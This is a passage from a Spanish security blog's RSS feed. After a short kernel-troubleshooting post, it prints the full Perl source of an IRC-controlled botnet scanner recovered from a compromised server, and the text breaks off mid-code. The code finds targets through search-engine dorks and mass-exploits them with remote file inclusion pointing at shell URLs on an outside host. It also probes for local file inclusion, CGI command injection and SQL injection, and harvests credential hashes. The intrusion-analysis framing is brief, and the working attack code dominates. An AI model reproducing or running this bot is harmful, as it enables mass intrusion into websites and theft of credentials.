<p>Esto me puso a pensar seriamente que fuera el cable, cambie el cable, igual, pense que podria ser el nodo de red, cambie de nodo fue igual de hecho cambie con alguienq ue no tuvo problemas, y luego cambie de OS, boote en Windows XP, me dije &#8220;si esta cosa se conecta hasta un gansito se conecta&#8221; y se conecto sin problemas.</p>
<p>Inicie en el kernel 2.6.24-22-generic y no tuve problemas, que tipo de problemas habra? a verdad no tuve tiempo de debugear pero este fin de semana o hago en el inter si tienen intermitencia bajen una version minima de kernel (de todos modos no le dan shell a nadie y usan grsec no?)</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/linux/problemas-en-mi-dell-640m-con-ubuntu-en-kernel-2624-23-generic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analisis de una Intrusion y un bot</title>
		<link>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/</link>
		<comments>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 01:52:16 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[botnet security hacking analisis Scan2009.txt]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=33</guid>
		<description><![CDATA[Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias [...]]]></description>
			<content:encoded><![CDATA[<p>Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias hackers que eran INVISIBLES y no inservibles? pero bueno que se yo no? jajajajaja</p>
<p>Bueno me toco ayudar a una persona que le hicieron una intrusion con inclusion de codigo, es bastante interesante porque se vio ejecutar perl Scan009.txt que me llamo la atencion y lo consegui del sitio donde bajo el botnet el ataque:</p>
<p>http://matudesign.com/dh/imagenes/Scan2009.txt</p>
<p><span id="more-33"></span></p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

  ##################################################################
  ##                                                                                 ##
  ##                                                                                 ##
  ##                                                                   05/06/2008    ##
  ##  Author  : BitchX and Osirys                                                    ##                                                             ##
  ##  Team    : FullNetWork                                                          ##
  ##  Ircd    : irc.fullnetwork.org                                                  ##
  ##  WebSite :                                                                      ##
  ##  Contact : safes[dot]modes[at]gmail[dot]com                                     ##
  ##                                                                                 ##
  ##                                                                                 ##
  ##  Release: v1 Private                                                            ##
  ##                                                                                 ##
  ##                                                                                 ##
  #####################################################################################

### !!_/ PRIVATE

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

#######################################################
## CONFIGURATION                                     //
#######################################################

my $id    = "http://matudesign.com/dh/imagenes/02.txt??"; #Your RFI Response
#Shell printed on the Vulnerable Site
my $shell = "http://matudesign.com/dh/imagenes/cmd-shell.txt??";
my $ircd  = "64.136.61.195";
my $port  = "7000";
my $chan1 = "#offspring"; #Chan for Scan
my $chan2 = "#offspring"; #bot will be printed here too
my $nick  = "[D]PRIVATE".(int(rand(100)));
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time.
#For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites.
#Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results,
# you can put a higher number, so more speed.
my $rfipidpr0c = 50;
my @User_Agent = &#038;Agent();

### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON )

my $spread = "http://matudesign.com/dh/imagenes/01.txt??";

my $spreadACT = 0; #0 ->disabled, 1 ->enabled
my $securityACT = 0; #0 ->disabled, 1 ->enabled

my $killpwd = "lol"; #Password to Kill the Bot
my $chidpwd = "lol"; #Password to change the RFI Response
my $cmdpwd = "lol"; #Password to execute commands on the server
my $secpwd = "lol";
my $spreadpwd = "lol";

my $badspreadpwd != $spreadpwd;
my $badkillpwd != $killpwd;
my $badidpwd != $chidpwd;
my $badcmdpwd =! $cmdpwd;

#######################################################
## END OF CONFIGURATION                              //
#######################################################

open( $f1le, ">", "rm.txt" );
print $f1le "\#!/usr/bin/perl\n";
print $f1le "exec(\"rm -rf \*siti\*\")\;\n";
close $f1le;

my $sys = `uname -a`;
my $up = `uptime`;

if ($spreadACT == 0) {
    $t5 = "OFF";
}
elsif ($spreadACT == 1) {
    $t5 = "ON";
}

if ($securityACT == 0) {
    $y5 = "OFF";
}
elsif ($securityACT == 1) {
    $y5 = "ON";
}

$k=0;

if ( fork() == 0 ) {
    &#038;irc( $ircd, $port, $chan1, $chan2, $nick );
}
else {
    exit;
}

sub irc () {
    my ( $ircd, $port, $chan1, $chan2, $nick ) = @_;
    $c0n = IO::Socket::INET->new(
        PeerAddr => "$ircd",
        PeerPort => "$port",
        Proto    => "tcp"
    ) or die "Can not connect on server!\n";
    $c0n->autoflush(1);
    print $c0n "NICK $nick\n";
    print $c0n "USER priv 8 *  : BitchX\n";

    while ( $line = <$c0n> ) {

        my $sys = `uname -a`;
        my $up = `uptime`;

        if ($spreadACT == 0) {
            $t5 = "OFF";
        }
        elsif ($spreadACT == 1) {
            $t5 = "ON";
        }

        if ($securityACT == 0) {
            $y5 = "OFF";
        }
        elsif ($securityACT == 1) {
        $y5 = "ON";
        }

        $k++;

        if ( $line =~ /^PING \:(.*)/ ) {
            print $c0n "PONG :$1";
        }

        if ( $line =~ /001/ ) {
            print $c0n "JOIN $chan1\n";
            writ1("4+1 Private v2 Scan ON");
            writ1("4+1 Coded by BitchX and Osirys");
            print $c0n "JOIN $chan2\n";
        }

        if (($line=~ /PRIVMSG $nick :!kill -p $killpwd/) &#038;&#038; ($securityACT == 1)) {
            writ1("Falow Hermano! ");
            print $c0n "QUIT";
            exec("perl rm.txt &#038;&#038; pkill perl \n");
        }
        elsif (($line=~ /PRIVMSG $nick :!kill -p $badkillpwd/) &#038;&#038; ($securityACT == 1)) {
            writ1("Error Killing the Bot (Null or bad Password) !");
        }
        elsif (($line=~ /PRIVMSG $chan1 :!kill/) &#038;&#038; ($securityACT == 0)) {
               writ1("Falow Hermano");
               print $c0n "QUIT";
               exec("perl rm.txt &#038;&#038; pkill perl \n");
        }

        if (($line =~ /PRIVMSG $chan1 :.rfi\s+(.*?)\s+(.*)\s+-p(.+[0-9])/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork, $rfipid) = ($1, $2, $3);
            writ1("4+1Status - Scan RFI Iniciando em 4- $rfipid sites/process ");
            writ1("1Bug:14 $bug");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk");
            my $a    = $k . "a";
            my $n4me = $a . "siti.txt";
            find($d0rk, $n4me);
            rfi($bug, $n4me, $d0rk, $rfipid);
            writ1("4+1Status - Scan RFI Finalizado em 4- 1Dork:14 $d0rk");
            exit(0);
        }

        if (($line =~ /PRIVMSG $chan1 :!xml\s+(.*?)\s+(.*)/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork) = ($1, $2);
            writ1("4+1Status - Scan XML Iniciando ");
            writ1("1Bug:14 $bug ");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk ");
            my $b    = $k . "b";
            my $n4me = $b . "siti.txt";
            find($d0rk, $n4me);
            xml($bug, $n4me, $d0rk);
            writ1("4+1Status - Scan XML Finalizado em 4- 1Dork:14 $d0rk ");
            exit(0);
        }

        if (($line =~ /PRIVMSG $chan1 :!cgi\s+(.*?)\s+(.*?)\s+(.*)/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork, $icgi) = ($1, $2, $3);
            writ1("4+1Status - Scan CGI Iniciando ");
            writ1("1Bug:14 $bug ");
            writ1("1Inject CGI:14 $icgi ");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk ");
            my $b    = $k . "c";
            my $n4me = $c . "siti.txt";
            find($d0rk, $n4me);
            cgi($bug, $n4me, $d0rk, $icgi);
            writ1("4+1Status - Scan CGI Finalizado em 4- 1Dork:14 $d0rk ");
            exit(0);
        }

       if (($line =~ /PRIVMSG $chan1 :!pb\s+(.*?)\s+(.*)/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork, $ipb) = ($1, $2);
            writ1("4+1Status - Scan PB SQL INJ Iniciando ");
            writ1("1Bug:14 $bug ");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk ");
            my $b    = $k . "d";
            my $n4me = $d . "siti.txt";
            find($d0rk, $n4me);
            pb($bug, $n4me, $d0rk);
            writ1("4+1Status - Scan PB SQL INJ Finalizado em 4- 1Dork:14 $d0rk ");
            exit(0);
        }

        if (($line =~ /PRIVMSG $chan1 :!lfi\s+(.*?)\s+(.*)/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork) = ($1, $2);
            writ1("4+1Status - Scan LFI Iniciando ");
            writ1("1Bug:14 $bug ");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk ");
            my $b    = $k . "e";
            my $n4me = $e . "siti.txt";
            find($d0rk, $n4me);
            lfi($bug, $n4me, $d0rk);
            writ1("4+1Status - Scan LFI Finalizado em 4- 1Dork:14 $d0rk ");
            exit(0);
        }

        if (($line =~ /PRIVMSG $chan1 :!php\s+(.*?)\s+(.*)/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork) = ($1, $2);
            writ1("4+1Status - Scan PHP Iniciando ");
            writ1("1Bug:14 $bug ");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk ");
            my $b    = $k . "f";
            my $n4me = $f . "siti.txt";
            find($d0rk, $n4me);
            php($bug, $n4me, $d0rk);
            writ1("4+1Status - Scan PHP Finalizado em 4- 1Dork:14 $d0rk ");
            exit(0);
        }

        if (($line =~ /PRIVMSG $chan1 :!sql\s+(.*?)\s+(.*)\s+-p(.+[0-9])/) &#038;&#038; (fork() == 0)) {
            my ($bug, $dork, $sqlpid) = ($1, $2, $3);
            writ1("4+1Status - Scan SQL Iniciando em 4- $rfipid sites/process ");
            writ1("1Bug:14 $bug ");
            $d0rk = clean($dork);
            writ1("1Dork:14 $d0rk ");
            my $c    = $k . "g";
            my $n4me = $g . "siti.txt";
            find($d0rk, $n4me);
            sql($bug, $n4me, $d0rk, $sqlpid);
            writ1("4+1Status - Scan SQL Finalizado em 4- 1Dork:14 $d0rk ");
            exit(0);
        }
    }
}

sub find () {
    my $dork = $_[0];
    my $name = $_[1];
    my @engine;
    $engine[0] = fork();
    if ( $engine[0] == 0 ) {
        my @glist = google( $dork, $name );
        writ1("4+1Status - Total Encontrado GOOGLE ". scalar(@glist). " " );
        exit;
    }
    $engine[1] = fork();
    if ( $engine[1] == 0 ) {
        my @all = alltheweb( $dork, $name );
        writ1("4+1Status - Total Encontrado ALLTHEWEB ". scalar(@all). " " );
        exit;
   }
    $engine[2] = fork();
    if ( $engine[2] == 0 ) {
        my @alt = altavista( $dork, $name );
        writ1("4+1Status - Total Encontrado ALTAVISTA ". scalar(@alt). " " );
        exit;
    }
    $engine[3] = fork();
    if ( $engine[3] == 0 ) {
        my @emsn = msn( $dork, $name );
        writ1("4+1Status - Total Encontrado MSN ". scalar(@emsn). " " );
        exit;
    }
    $engine[4] = fork();
    if ( $engine[4] == 0 ) {
        my @ysites = yahoo( $dork, $name );
        writ1("4+1Status - Total Encontrado YAHOO ". scalar(@ysites). " " );
        exit;
    }
    $engine[5] = fork();
    if ( $engine[5] == 0 ) {
        my @asksites = ask( $dork, $name );
        writ1("4+1Status - Total Encontrado ASK ". scalar(@asksites). " " );
        exit;
    }
    $engine[6] = fork();
    if ($engine[6] == 0) {
        my @aolsites = aol($dork,$name);
        writ1("4+1Status - Total Encontrado AOL ". scalar(@aolsites). " " );
        exit;
    }
    $engine[7] = fork();
    if ( $engine[7] == 0 ) {
        my @dmozsites = dmoz( $dork, $name );
        writ1("4+1Status - Total Encontrado DMOZ ". scalar(@dmozsites). " " );
        exit;
    }
    $engine[8] = fork();
    if ($engine[8] == 0) {
        my @webdesites = webde($dork,$name);
        writ1("4+1Status - Total Encontrado WEB.DE ". scalar(@webdesites). " " );
        exit;
    }
    $engine[9] = fork();
    if ($engine[9] == 0) {
        my @einetsites = einet($dork,$name);
        writ1("4+1Status - Total Encontrado eiNET.net ".scalar(@einetsites)." " );
        exit;
    }
    $engine[10] = fork();
    if ($engine[10] == 0) {
        my @virgilio = virgilio($dork, $name);
        writ1("4+1Status - Total Encontrado VIRGILIO ". scalar(@virgilio). " ");
        exit(0);
    }
   $engine[11] = fork();
   if ($engine[11] == 0) {
        my @abacho = abacho($dork,$name);
        writ1("4+1Status - Total Encontrado ABACHO ".scalar(@abacho)." ");
        exit(0);
    }

    foreach my $e(@engine){
        waitpid($e,0);
    }

}

sub rfi () {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my $rfipid = $_[3];
    my @forks;
    my $num = 0;
    open( filez, '<', $name );
    while ( my $a = <filez> ) {
        $a =~ s/\n//g;
        push( @tot, $a );
    }
    close filez;
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    sleep(1);
    writ1("4+1Status - Exploit START!" );
    foreach my $site (@toexploit) {
        my $test  = "http://" . $site . $bug . $id . "??";
        print "$test\n";
        $count++;
        if ( $count % $rfipid == 0 ) {
	    foreach my $f(@forks){
                waitpid($f,0);
            }
	    $num = 0;
        }
        if($count %100 == 0){
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://" . $site . $bug . $id . "??";
            my $print = "http://" . $site . $bug . $shell . "?";
            my $re    = query($test,"3");
            if ( $re =~ /3b1tchx3mailOK/ &#038;&#038; $re =~ /uid=(.*)(([0-9,a-f]))/ ) {
                os($test);
                writ1("4+1Safe: OFF 4+ 1OS: $os 4+1 $print ");
                writ1("4+1Uname -a: $un ");
                writ1("4+1Uid / Gid: $id1 ");
                writ2("");
            }
            elsif ( $re =~ /3b1tchx3mailOK/ ) {
                os($test);
                writ1("4+1Safe: ON 4+ 1OS: $os 4+1 $print ");
                writ1("4+1Uname -a: $un ");
                writ1("4+1Uid / Gid: $id1 ");
                writ2("");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}

sub xml () {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my @forks;
    my $num = 0;
    open( filez, '<', $name );
    while ( my $a = <filez> ) {
        $a =~ s/\n//g;
        push( @tot, $a );
    }
    close filez;
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    writ1("4+1Status - Exploit START!" );
    foreach my $site (@toexploit) {
        $count++;
        if ( $count % 100 == 0 ) {
	    foreach my $f(@forks){
                waitpid($f,0);
            }
	    $num = 0;
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://" . $site . $bug;
            my $print = "http://" . $site . $bug;
            my $re    = query($test,"3");
            if ( $re =~ /faultCode/ &#038;&#038; $re =~ /faultString/ &#038;&#038; $re =~ /XML error: no element found at line 1/ ) {
                writ1("4+1Safe Bug XML: $print ");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}

sub php () {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my @forks;
    my $num = 0;
    open( filez, '<', $name );
    while ( my $a = <filez> ) {
        $a =~ s/\n//g;
        push( @tot, $a );
    }
    close filez;
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    writ1("4+1Status - Exploit START!" );
    foreach my $site (@toexploit) {
        $count++;
        if ( $count % 100 == 0 ) {
	    foreach my $f(@forks){
                waitpid($f,0);
            }
	    $num = 0;
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://" . $site;
            my $print = "http://" . $site;
            my $re    = query($test,"3");
            if ( $re =~ /Free (.+?).(.+?) (.+?) of (.+?).(.+?) (.+?)/ ) {
                writ1("4+1Safe Bug PHP: $print ");
                writ2("");
            }
            elsif ( $re =~ /safe_mode: (.+?)/ &#038;&#038; $re =~ /PHP version: (.+?)/ &#038;&#038; $re =~ /cURL: (.+?)/ &#038;&#038; $re =~ /MySQL: (.+?)/ &#038;&#038; $re =~ /MSSQL: (.+?)/ &#038;&#038; $re =~ /PostgreSQL: (.+?)/ &#038;&#038; $re =~ /Oracle: (.+?)/ ) {
                writ1("4+1Safe Bug PHP: $print ");
                writ2("");
            }
            elsif ( $re =~ /c999Shell v. 1.0 pre-release build/ ) {
                writ1("4+1Safe Bug PHP: $print ");
                writ2("");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}

sub cgi () {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my $icgi = $_[3];
    my @forks;
    my $num = 0;
    open( filez, '<', $name );
    while ( my $a = <filez> ) {
        $a =~ s/\n//g;
        push( @tot, $a );
    }
    close filez;
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    writ1("4+1Status - Exploit START!" );
    foreach my $site (@toexploit) {
        $count++;
        if ( $count % 100 == 0 ) {
	    foreach my $f(@forks){
                waitpid($f,0);
            }
	    $num = 0;
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://" . $site . $bug . $icgi;
            my $print = "http://" . $site . $bug . $icgi;
            my $osinj = "|uname%20-a|";
            my $os = "http://" . $site . $bug . $osinj;
            my $re    = query($test);
            if ( $re =~ /l33tb1tchx1/ &#038;&#038; $re =~ /uid=(.*)(([0-9,a-f]))/ ) {
                cgi_os($os);
                writ1("4+1Safe Bug CGI OFF: $print ");
                writ1("4+1Uname -a: $un_cgi ");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}

sub pb () {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my @forks;
    my $num = 0;
    open( filez, '<', $name );
    while ( my $a = <filez> ) {
        $a =~ s/\n//g;
        push( @tot, $a );
    }
    close filez;
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    writ1("4+1Status - Exploit START!" );
    foreach my $site (@toexploit) {
        $count++;
        if ( $count % 100 == 0 ) {
	    foreach my $f(@forks){
                waitpid($f,0);
            }
	    $num = 0;
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://" . $site . $bug;
            my $print = "http://" . $site . $bug;
            my $re    = query($test,"3");
            if ( $re =~ /l33tb1tchxPB'/ ) {
                writ1("4+1Safe Bug PB SQL INJ: $print ");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}

sub lfi () {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my @forks;
    my $num = 0;
    open( filez, '<', $name );
    while ( my $a = <filez> ) {
        $a =~ s/\n//g;
        push( @tot, $a );
    }
    close filez;
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    writ1("4+1Status - Exploit START!" );
    foreach my $site (@toexploit) {
        $count++;
        if ( $count % 100 == 0 ) {
	    foreach my $f(@forks){
                waitpid($f,0);
            }
	    $num = 0;
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $inj   = "../../../../../../../../../../../../../etc/passwd%00";
            my $test  = "http://" . $site . $bug . $inj;
            my $print = "http://" . $site . $bug . $inj;
            my $re    = query($test,"3");
            if ( $re =~ /root:x:/ ) {
                writ1("4+1Safe Bug LFI: $print ");
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}

sub sql() {
    my $bug  = $_[0];
    my $name = $_[1];
    my $dork = $_[2];
    my $sqlpid = $_[3];
    my @forks;
    my $num = 0;
    open($file, "<", $name);
    while (my $a = <$file>) {
        $a =~ s/\n//g;
        push(@tot,$a);
    }
    close($file);
    remove($name);
    my @toexploit = unici(@tot);
    writ1("4+1Status - Total Cleaned Sites ". scalar(@toexploit). " 1Dork4:14 $dork " );
    writ1("4+1Status - Exploit START!" );
    foreach my $site(@toexploit) {
        my $test  = "http://".$site.$bug; print "$test\n";
        $count++;
        if($count %$sqlpid == 0){
            foreach my $f(@forks){
                waitpid($f,0);
            }
            $num = 0;
        }
        $forks[$num]=fork();
        if($forks[$num] == 0){
            my $test  = "http://".$site.$bug;
            my $print = "http://".$site.$bug;
            my $re    = query($test);
            if ($re =~ m/\>([0-9,a-z]{2,13}):([0-9,a-f]{32})/g) {
                my ($user,$hash) = ($1,$2);
                if ($sqlpid == $sqlpidpr0c) {
                        writ1("4+1SQL INJ: $print ");
                        writ1("4+1User: $user ");
                        writ1("4+1Hash: $hash ");
                        writ2("4+1SQL INJ: $print ");
                }
                elsif  ($sqlpid > $sqlpidpr0c) {
                    writ1("4+1SQL INJ: $print ");
                }
            }
            elsif ($re =~ m/:(.*)([0-9,a-f]{32})/g) {
                my ($user,$hash) = ($1,$2);
                $user =~ s/\<(.*)\>//g;
                if ($user !~ /(\/|\<|\>|\")/) {
                    if ($sqlpid == $sqlpidpr0c) {
                        writ1("4+1SQL INJ: $print ");
                        writ1("4+1User: $user ");
                        writ1("4+1Hash: $hash ");
                        writ2("4+1SQL INJ: $print ");
                    }
                    elsif ($sqlpid > $sqlpidpr0c) {
                        writ1("4+1SQL INJ: $print ");
                    }
                }
            }
            elsif ($re =~ m/\"option\"><b>(.*)([0-9,a-f]{32})/g) {
                my ($user,$hash) = ($1,$2);
                $user =~ s/<(.*)>//g;
                $user =~ s/<|>//g;
                if ($sqlpid == $sqlpidpr0c) {
                        writ1("4+1SQL INJ: $print ");
                        writ1("4+1User: $user ");
                        writ1("4+1Hash: $hash ");
                        writ2("4+1SQL INJ: $print ");
                }
                elsif  ($sqlpid > $sqlpidpr0c) {
                    writ1("4+1SQL INJ: $print ");
                }
            }
            exit(0);
        }
        $num++;
    }
    foreach my $f(@forks){
        waitpid($f,0);
    }
}

sub google () {
    my @gsites;
    my $key = $_[0];
    my $name = $_[1];
    my $gtest = ("www.google.com/search?q=hi&#038;hl=en&#038;start=10&#038;sa=N");
    my $ret = query($gtest);
    if ($ret =~ /2008 Google/) {
        @gsites = gfind($key,$name);
    }
    else {
        writ1("1Banned by Google Engine, trying to bypass it!");
        @gsites = gbypass($key,$name);
    }
    return @gsites;
}

sub gfind () {
    my @list;
    my $key = $_[0];
    my $name= $_[1];
    for ($p = 0;$p <= 900; $p += 100) {
        my $g0gle = ("www.google.it/search?q=".key($key)."&#038;num=100&#038;hl=it&#038;as_qdr=all&#038;start=".$p."&#038;sa=N");
        my $gr = query($g0gle);
        while ($gr =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $k = $1;
            if ($k !~ /google/) {
                my @grep = links($k);
                open( $filez, ">>", $name );
                foreach my $k (@grep) {
                    print $filez "$k\n";
                }
                close $filez;
                push(@list, @grep);
            }
        }
    }
    return @list;
}

sub gbypass () { # Euroseek uses the same search type of google
    my @lst;
    my $key  = $_[0];
    my $name = $_[1];
    for ( $p = 0 ; $p <= 1000 ; $p += 10 ) {
        my $gp = ("http://euroseek.com/system/search.cgi?language=en&#038;mode=internet&#038;start=".$p."&#038;string=".key($key));
        my $re = query($gp);
        while ($re =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) {
            my $k = $1;
            my @grep = links($k);
            open( $filez, ">>", $name );
            foreach my $k (@grep) {
                print $filez "$k\n";
            }
            close $filez;
            push( @lst, @grep );
        }
    }
    return @lst;
}

sub alltheweb() {
    my @lst;
    my $key  = $_[0];
    my $name = $_[1];
    for ( $i = 0 ; $i <= 1000 ; $i += 100 ) {
        my $All = ( "http://www.alltheweb.com/search?advanced=1&#038;cat=web&#038;type=all&#038;hits=".$i."&#038;ocjp=1&#038;q=".key($key)."&#038;o=".$i );
        my $re = query($All);
        while ( $re =~ m/<span class=\"resURL\">http:\/\/(.+?)\ /g ) {
            my $k = $1;
            $k =~ s/ //g;
            my @grep = links($k);
            open( $filez, ">>", $name );
            foreach my $k (@grep) {
                print $filez "$k\n";
            }
            close $filez;
            push( @lst, @grep );
        }
    }
    return @lst;
}

sub altavista() {
    my @lst;
    my $key  = $_[0];
    my $name = $_[1];
    for ($b = 1;$b <= 1000;$b += 10) {
        my $Alt = ( "http://it.altavista.com/web/results?itag=ody&#038;kgs=0&#038;kls=0&#038;dis=1&#038;q=". key($key) . "&#038;stq=". $b );
        my $re = query($Alt);
        while ( $re =~ m/<span class=ngrn>(.+?)\//g ) {
            if ( $1 !~ /altavista/ ) {
                my $k = $1;
                $k =~ s/<//g;
                $k =~ s/ //g;
                my @grep = links($k);
                open( $filez, ">>", $name );
                foreach my $k (@grep) {
                    print $filez "$k\n";
                }
                close $filez;
                push( @lst, @grep );
            }
        }
        if ( $re =~ /target=\"_self\">Succ/ ) { }
        else {
            return @lst;
        }
    }
    return @lst;
}

sub msn() {
    my @lst;
    my $key  = $_[0];
    my $name = $_[1];
    for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
        my $Msn = ( "http://search.live.com/results.aspx?q=". key($key). "&#038;first=". $b. "&#038;FORM=PERE" );
        my $re = query($Msn);
        while ( $re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
            if ( $1 !~ /msn|live/ ) {
                my $k    = $1;
                my @grep = links($k);
                open( $filez, ">>", $name );
                foreach my $k (@grep) {
                    print $filez "$k\n";
                }
                close $filez;
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub yahoo () {
    my @ysites;
    my $key = $_[0];
    my $name = $_[1];
    my $ytest = ("http://www.search.yahoo.com/search?p=hello&#038;ei=UTF-8&#038;fr=yfp-t-501&#038;fp_ip=IT&#038;pstart=1&#038;b=1");
    my $ret = query($ytest);
    if ($ret =~ /We did not find results for/) {
        return @ysites;
    }
    elsif ($ret =~ /title=\"Yahoo! Search results for hello\"/) {
        @ysites = yfind($key,$name);
        return @ysites;
    }
    else {
        writ1("1Banned by Yahoo Engine, trying to bypass it !");
        @ysites = ybypass($key,$name);
        return @ysites;
    }
}

sub yfind() {
    my @lst;
    my $key  = $_[0];
    my $name = $_[1];
        for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
            my $ylink = ( "http://search.yahoo.com/search?p=".key($key)."&#038;ei=UTF-8&#038;fr=yfp-t-501&#038;fp_ip=IT&#038;pstart=1&#038;b=".$b);
            my $re = query($ylink);
            while ( $re =~ m/<a class=\"yschttl\" href=\"http:\/\/(.+?)\" >/g ) {
                my $k = $1;
                if ($k !~ /yahoo|<b>/) {
                    my @grep = links($k);
                    open( $filez, ">>", $name );
                    foreach my $k (@grep) {
                        print $filez "$k\n";
                    }
                    close $filez;
                    push( @lst, @grep );
                }
            }
        }
    return @lst;
}  

sub ybypass () { # GoodSearch uses the same search type of Yahoo
    my @lst;
    my $key  = $_[0];
    my $name = $_[1];
    my $ybytest = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&#038;page=1&#038;osmax=16");
    my $res = query($ybytest);
    if ($res =~ /Your search did not yield any results/){
        return @lst;
    }
    else {
        for $p(1..50){
            my $ybylink = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&#038;page=".$p."&#038;osmax=16");
            my $rek = query($ybylink);
            while ($rek =~ m/href=\"(.+?)\">(.+?)<\/a>/g) {
                my $tsite = $2;
                if (($tsite =~ /\./) &#038;&#038; ($tsite !~ /<|>| /)){
                    my @grep = links($tsite);
                    open( $filez, ">>", $name );
                    foreach my $tsite (@grep) {
                        print $filez "$tsite\n";
                    }
                    close $filez;
                    push( @lst, @grep );
                }
            }
        }
        return @lst;
    }
} 

sub ask () {
    my $key = $_[0];
    my $name = $_[1];
    my @lst;
    my $askt = ("http://it.ask.com/web?q=".key($key)."&#038;qsrc=1&#038;o=312&#038;l=dir&#038;dm=all");
    my $asktest = query($askt);
    if ($asktest =~ /non ha prodotto alcun risultato/) {
        return @lst;
    }
    else {
        for ($p=0;$p<=20;$p++){
            my $asklink = ("http://it.ask.com/web?q=".key($key)."&#038;o=0&#038;l=dir&#038;qsrc=0&#038;qid=612B74535B00F6CA7678625658F9B98C&#038;dm=all&#038;page=".$p);
            my $re = query($asklink);
            while($re =~ m/href=\"http:\/\/(.+?)\"/g){
                my $tsite = $1;
                if ($tsite !~ /ask|wikipedia/){
                    my @grep = links($tsite);
                    open( $filez, ">>", $name );
                    foreach my $tsite (@grep) {
                        print $filez "$tsite\n";
                    }
                    close $filez;
                    push( @lst, @grep );
                }
            }
        }
        return @lst;
    }
}

sub aol () {
    my $key = $_[0];
    my $name = $_[1];
    my @lst;
    my $aolt = ("http://search.aol.com/aol/search?invocationType=topsearchbox.search&#038;query=".key($key));
    my $atest = query($aolt);
    if ($atest =~ /returned no results.<\/h3>/) {
        return @lst;
    }
    else {
        for ($p=1;$p<=100;$p++){
            my $aollink = ("http://search.aol.com/aol/search?query=".key($key)."&#038;page=".$p."&#038;nt=SG2&#038;do=Search&#038;invocationType=comsearch30&#038;clickstreamid=3154480101243260576");
            my $re = query($aollink);
            while($re =~ m/
<p class=\"durl find\" property=\"f:durl\">(.+?)\n-/g) {
